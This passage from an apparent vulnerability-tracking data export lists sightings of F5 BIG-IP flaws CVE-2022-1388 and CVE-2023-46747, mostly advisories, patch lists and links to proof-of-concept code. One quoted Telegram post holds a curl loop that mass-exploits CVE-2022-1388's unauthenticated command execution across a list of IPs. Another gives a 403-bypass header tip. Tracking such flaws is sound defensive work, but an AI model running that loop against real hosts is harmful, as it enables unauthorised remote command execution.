\u0431\u044b\u043b\u0430 \u043e\u0446\u0435\u043d\u0435\u043d\u0430 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS \u0432 9,8 \u0438\u0437 10 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0445 \u0431\u0430\u043b\u043b\u043e\u0432.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u0438\u043f\u0438\u0441\u044b\u0432\u0430\u044e\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u041c\u0430\u0439\u043a\u043b\u0443 \u0412\u0435\u0431\u0435\u0440\u0443 \u0438 \u0422\u043e\u043c\u0430\u0441\u0443 \u0425\u0435\u043d\u0434\u0440\u0438\u043a\u0441\u043e\u043d\u0443 \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Praetorian, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0442\u0430\u043a\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0441\u0432\u043e\u0439 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u044b\u0439 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043e\u0442\u0447\u0451\u0442 \u0441 \u043d\u044e\u0430\u043d\u0441\u0430\u043c\u0438 \u0440\u0430\u0431\u043e\u0442\u044b CVE-2023-46747.\n\nF5 \u0443\u0442\u043e\u0447\u043d\u0438\u043b\u0430: \u00ab\u042d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u0438\u043c\u0435\u044e\u0449\u0435\u043c\u0443 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 BIG-IP \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0440\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438 / \u0438\u043b\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b\u00bb. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u043c \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 \u0431\u044b\u043b\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 BIG-IP:\n\n17.1.0 (\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 17.1.0.3 + Hotfix-BIGIP-17.1.0.3.0.75.4-ENG);\n\n16.1.0 - 16.1.4 (\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 16.1.4.1 + Hotfix-BIGIP-16.1.4.1.0.50.5-ENG);\n\n15.1.0 - 15.1.10 (\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 15.1.10.2 + Hotfix-BIGIP-15.1.10.2.0.44.2-ENG);\n\n14.1.0 - 14.1.5 (\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 14.1.5.6 + Hotfix-BIGIP-14.1.5.6.0.10.6-ENG);\n\n13.1.0 - 13.1.5 (\u0418\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043e \u0432 13.1.5.1 + Hotfix-BIGIP-13.1.5.1.0.20.2-ENG);\n\n\u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432 F5 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0438\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 , \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u043e\u0436\u043d\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u0442\u044c, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 14.1.0. \u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u0442\u0435\u043b\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0441\u0434\u0435\u043b\u0430\u043b\u0438 \u0430\u043a\u0446\u0435\u043d\u0442, \u0447\u0442\u043e \u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 BIG-IP \u043d\u0438\u0436\u0435 14.1.0 \u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435 \u0441\u043b\u0435\u0434\u0443\u0435\u0442, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0437\u0430\u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0435\u0449\u0451 \u0431\u043e\u043b\u044c\u0448\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c \u0441 \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u043c\u0438 BIG-IP. \u0421\u0430\u043c \u0441\u043a\u0440\u0438\u043f\u0442 \u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043f\u043e \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043d\u0430 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0441 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u044f\u043c\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438.\n\n\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0432\u043a\u043b\u044e\u0447\u0430\u044e\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0441\u043e\u0432\u0435\u0442\u044b:\n\n\u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0442\u0438\u043b\u0438\u0442\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430 ;\n\u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0442\u0438\u043b\u0438\u0442\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f .\n\u0421\u0442\u043e\u0438\u0442 \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e CVE-2023-46747 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0443\u0436\u0435 \u0442\u0440\u0435\u0442\u044c\u0435\u0439 \u043f\u043e \u0441\u0447\u0451\u0442\u0443 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 BIG-IP TMUI \u043f\u043e\u0441\u043b\u0435 CVE-2020-5902 \u0438 CVE-2022-1388 .\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2023-10-27T14:49:00.000000Z"}, {"uuid": "69047844-dec6-468f-86dc-49aa4567e622", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/2211", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2022\n\u63cf\u8ff0\uff1aCVE-2022-1388\nURL\uff1ahttps://github.com/getdrive/F5-BIG-IP-exploit\n\n\u6807\u7b7e\uff1a#CVE-2022", "creation_timestamp": "2022-05-17T04:13:06.000000Z"}, {"uuid": "57118631-5dc4-4066-a0eb-61f45e0fc487", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/osintflow_team/220", "content": "\ud83d\ude0e F5 BIG-IP RCE (CVE-2022-1388). How it works.", "creation_timestamp": "2023-06-12T21:30:57.000000Z"}, {"uuid": "433d1ab3-9763-402a-8305-bb24013dcdfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-04-25)", "content": "", "creation_timestamp": "2026-04-25T00:00:00.000000Z"}, {"uuid": "56b3400b-9f08-4e8f-a537-2399fd397b15", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-04-28)", "content": "", "creation_timestamp": "2026-04-28T00:00:00.000000Z"}, {"uuid": "2a3c404f-db9e-486e-afd0-86c8c0d5a35a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/CyberGovIL/1450", "content": "Com16245 | \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d1\u05de\u05d5\u05e6\u05e8\u05d9 BigIP \u05e9\u05dc \u05d7\u05d1\u05e8\u05ea F5\n\n\u05d7\u05d1\u05e8\u05ea F5 \u05e4\u05e8\u05e1\u05de\u05d4 \u05dc\u05d0\u05d7\u05e8\u05d5\u05e0\u05d4 \u05d4\u05ea\u05e8\u05e2\u05d5\u05ea \u05d0\u05d1\u05d8\u05d7\u05d4 \u05e2\u05d1\u05d5\u05e8 \u05e2\u05e9\u05e8\u05d5\u05ea \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05e9\u05d4\u05ea\u05d2\u05dc\u05d5 \u05d1\u05e6\u05d9\u05d5\u05d3 \u05de\u05e1\u05d5\u05d2 BigIP \u05de\u05ea\u05d5\u05e6\u05e8\u05ea\u05d4. \u05db\u05df \u05e4\u05d5\u05e8\u05e1\u05de\u05d5 \u05de\u05e1\u05e4\u05e8 \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05d1\u05de\u05d5\u05e6\u05e8\u05d9\u05dd \u05e0\u05d5\u05e1\u05e4\u05d9\u05dd.\n\n18 \u05e4\u05d2\u05d9\u05e2\u05d5\u05d9\u05d5\u05ea \u05de\u05e1\u05d5\u05d5\u05d2\u05d5\u05ea \u05d1\u05e1\u05d9\u05d5\u05d5\u05d2 \u05d2\u05d1\u05d5\u05d4. \u05de\u05ea\u05d5\u05db\u05df, \u05e4\u05d2\u05d9\u05e2\u05d5\u05ea \u05d0\u05d7\u05ea \u05de\u05e1\u05d5\u05d5\u05d2\u05ea \u05db\u05e7\u05e8\u05d9\u05d8\u05d9\u05ea (CVE-2022-1388).\n\n\u05de\u05d5\u05de\u05dc\u05e5 \u05dc\u05d1\u05d7\u05d5\u05df \u05d0\u05ea \u05e2\u05d3\u05db\u05d5\u05e0\u05d9 \u05d4\u05d0\u05d1\u05d8\u05d7\u05d4 \u05d4\u05e8\u05dc\u05d5\u05d5\u05e0\u05d8\u05d9\u05d9\u05dd \u05dc\u05e6\u05d9\u05d5\u05d3 \u05e9\u05d1\u05e8\u05e9\u05d5\u05ea\u05db\u05dd, \u05d5\u05dc\u05d4\u05ea\u05e7\u05d9\u05e0\u05dd \u05d1\u05d4\u05e7\u05d3\u05dd \u05d4\u05d0\u05e4\u05e9\u05e8\u05d9.", "creation_timestamp": "2022-05-08T12:45:03.000000Z"}, {"uuid": "ac2ae5c9-1404-4ace-b937-c5c2634127d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/bhhub/795", "content": "#BugBountyTips of the Day\nA simple and an easy finding on @Hacker0x01   While fuzzing, server-status endpoint was forbidden (403)  Just added this header in request :   X-Forwarded-For: 127.0.0.1 and I was able to bypass the forbidden (403) url or page.  @ADITYASHENDE17  #bugbounty #togetherwehitharder  https://t.co/Ut6PGmFTky\n---\nNew web #pentesting video is live on the methodology of testing File Upload dialogues which can lead to stored HTML injection, XSS, XXE, SSRF, and RCE.  The goal is to bypass or trick the content \"restrictions\".   #bugbountytips #infosec #bugbounty   https://t.co/vSZ1Beg4JV\n---\nAlways wanted this \"Hacking Hackers\" badge. Finally got it !!  @Hacker0x01   Now Next goal is to participate in Live Hacking Events, hopefully I get a chance this year :)  #TogetherWeHitHarder #bugbounty #cybersecurity  https://t.co/aaY5IdLyhW\n---\nYay, I was awarded $200 bounty on @Hacker0x01   @ADITYASHENDE17  #bugbounty #togetherwehitharder  https://t.co/l9zE6zwKr2\n---\nCVE-2022-1388: F5 BIG-IP \ud83d\udd25   #infosec #bugbounty  https://t.co/UbXXvL9j9L", "creation_timestamp": "2022-06-10T13:37:04.000000Z"}, {"uuid": "28a3581b-7498-4dc3-a5d4-56f04d184d10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/poxek/1537", "content": "Mindmap F5 BIG-IP RCE (CVE-2022-1388). How it works.\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1\ufe0f", "creation_timestamp": "2022-05-13T13:41:01.000000Z"}, {"uuid": "b425e102-1eaf-4d14-b8c4-5eb81a68767c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/poxek/1532", "content": "CVE-2022-1388 (F5)\n\u041f\u0440\u043e\u0441\u0442\u043e\u0439 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u0439 bash \u0434\u043b\u044f \u043c\u043d\u043e\u0433\u043e\u0445\u043e\u0441\u0442\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043d\u0430 CVE-2022-1388 (F5)\nhttps://github.com/jheeree/CVE-2022-1388-checker\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1", "creation_timestamp": "2022-05-13T05:00:31.000000Z"}, {"uuid": "4caf75bd-31b6-4228-b6ba-6cca224bf353", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/ShlezySec_Channel/223", "content": "\u05d0\u05d6\u05d4\u05e8\u05d4!  F5 \u05de\u05d6\u05d4\u05d9\u05e8\u05d4 \u05de\u05e4\u05e0\u05d9 \u05e4\u05d2\u05d9\u05e2\u05d5\u05ea \u05e7\u05e8\u05d9\u05d8\u05d9\u05ea \u05d7\u05d3\u05e9\u05d4 \u05e9\u05dc \u05d1\u05d9\u05e6\u05d5\u05e2 \u05e7\u05d5\u05d3 \u05de\u05e8\u05d7\u05d5\u05e7 BIG-IP (CVE-2022-1388) \u05e2\u05e7\u05d1 \u05d1\u05d3\u05d9\u05e7\u05d5\u05ea \u05d0\u05d9\u05de\u05d5\u05ea \u05d7\u05e1\u05e8\u05d5\u05ea \u05e9\u05e2\u05dc\u05d5\u05dc\u05d5\u05ea \u05dc\u05d0\u05e4\u05e9\u05e8 \u05dc\u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05dc\u05d4\u05e9\u05d9\u05d2 \u05e9\u05dc\u05d9\u05d8\u05d4 \u05e2\u05dc \u05d4\u05de\u05e2\u05e8\u05db\u05d5\u05ea \u05d4\u05de\u05d5\u05e9\u05e4\u05e2\u05d5\u05ea.\n\n \u05e4\u05e8\u05d8\u05d9\u05dd: https://thehackernews.com/2022/05/f5-warns-of-new-critical-big-ip-remote.html", "creation_timestamp": "2022-05-05T05:09:26.000000Z"}, {"uuid": "322d4b30-317a-4fd4-85b9-99f1ae08bab4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/poxek/1508", "content": "Twitter \u0433\u0440\u0435\u043c\u0438\u0442 \u043e  CVE-2022-1388 \u043e\u043d\u0430 \u0436\u0435 RCE \u0432 F5 BIG-IP(\u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439). \n\u0412\u0441\u0451 \u0433\u0435\u043d\u0438\u0430\u043b\u044c\u043d\u043e\u0435 \u043a\u0430\u043a \u0438 \u0432\u0441\u0435\u0433\u0434\u0430 \u043e\u043a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u0441\u0442\u044b\u043c, POST \u0437\u0430\u043f\u0440\u043e\u0441 \u0438 JSON...\ud83e\udd2d\n\u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u0440\u043e\u0441\u0442\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u043e\u0431\u0435\u0436\u0430\u0442\u044c\u0441\u044f \u043f\u043e \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0443 IP \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u0438\u0445 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c ;) \n\ncat ips.txt | while read ip; do curl -su admin -H \"Content-Type: application/json\" http://$ip/mgmt/tm/util/bash -d '{\"command\":\"run\",\"utilCmdArgs\":\"-c id\"}';done\n\n\u043d\u0443 \u0438 \u0441\u0430\u043c PoC  \u0434\u043b\u044f \u0442\u0435\u0445 \u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e", "creation_timestamp": "2022-05-10T10:21:47.000000Z"}, {"uuid": "47bc8222-65ac-4c0a-a965-0ae470dbf100", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "published-proof-of-concept", "source": "https://t.me/poxek/1880", "content": "CVE-2022-1388 Poc by PsychoSec\n\u0423\u043b\u0443\u0447\u0448\u0435\u043d\u043d\u044b\u0439 POC \u0434\u043b\u044f CVE-2022-1388, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 F5. \u042d\u0442\u043e \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u043d\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f Horizon3 Proof of Concept \u0434\u043b\u044f CVE-2022-1388. \u042d\u0442\u0430 \u0432\u0435\u0440\u0441\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0443\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0439, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.\nhttps://github.com/PsychoSec2/CVE-2022-1388-POC\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1", "creation_timestamp": "2022-07-01T15:01:21.000000Z"}, {"uuid": "b594cde0-7d3c-43f6-b411-d8d1d3c553d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/poxek/2017", "content": "How does it work?\nCVE-2022-1388\n\n\u0414\u043d\u0435\u0432\u043d\u0438\u043a \u0411\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u0438\u043a\u0430 \ud83d\udee1", "creation_timestamp": "2022-07-17T15:01:16.000000Z"}, {"uuid": "b9ea81a0-f1c4-4c25-976f-b89ddf08a558", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/poxek/2366", "content": "#\u041f\u041e #CVE #POC\n\nBIG-IP iControl REST RCE \nCVE-2022-1388\n\n\u0414\u0430\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u0438\u043c\u0435\u044e\u0449\u0435\u043c\u0443 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0438\u0441\u0442\u0435\u043c\u0435 BIG-IP \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0440\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438/\u0438\u043b\u0438 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0435 IP-\u0430\u0434\u0440\u0435\u0441\u0430, \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0438\u043b\u0438 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0441\u043b\u0443\u0436\u0431\u044b.", "creation_timestamp": "2022-08-26T07:00:04.000000Z"}, {"uuid": "01975ae1-b7aa-4ca6-8f8c-9dfd2e3be77e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/monkey_hacker/28", "content": "\u0420\u0430\u043d\u043e\u0432\u0430\u0442\u043e, \u043d\u043e \u0442\u0430\u043a\u0438 \u0434\u0430\n\u0422\u041e\u041f 10 \u0438\u0437 2022\n\n1. Follina (CVE-2022-30190)\n2. Log4Shell (CVE-2021-44228)\n3. Spring4Shell (CVE-2022-22965)\n4. F5 BIG-IP (CVE-2022-1388)\n5. Google Chrome zero-day (CVE-2022-0609)\n6. Old but not forgotten - Microsoft Office bug (CVE-2017-11882)\n7. ProxyNotShell (CVE-2022-41082, CVE-2022-41040)\n8. Zimbra Collaboration Suite bugs (CVE-2022-27925, CVE-2022-41352)\n9. Atlassian Confluence RCE flaw (CVE-2022-26134)\n10. Zyxel RCE vulnerability (CVE-2022-30525)", "creation_timestamp": "2022-11-29T07:00:36.000000Z"}, {"uuid": "0ad8b1da-df72-470a-997f-26402ace3cb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/ptswarm/125", "content": "\ud83d\ude0e F5 BIG-IP RCE (CVE-2022-1388). How it works.", "creation_timestamp": "2022-05-13T08:42:53.000000Z"}, {"uuid": "11bd180d-79e4-4589-84ae-10fa8a00ca2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "seen", "source": "https://t.me/ptswarm/124", "content": "\ud83d\udd25 We have reproduced the fresh CVE-2022-1388 in F5's BIG-IP.\n\nSuccessful exploitation could lead to RCE from an unauthenticated user.\n\nPatch ASAP!", "creation_timestamp": "2022-05-07T09:42:21.000000Z"}, {"uuid": "d88bae1f-5c2c-4506-9ee9-50a7ecb12c1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-1388", "type": "exploited", "source": "https://t.me/avleonovrus/46", "content": "\u0412\u043e\u0442 \u0442\u0443\u0442 Palo Alto \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u044e\u0442 \u0437\u0430\u043d\u044f\u0442\u043d\u043e\u0435: \u0447\u0442\u043e \u043e\u0431\u044b\u0447\u043d\u043e  \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0442 \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c 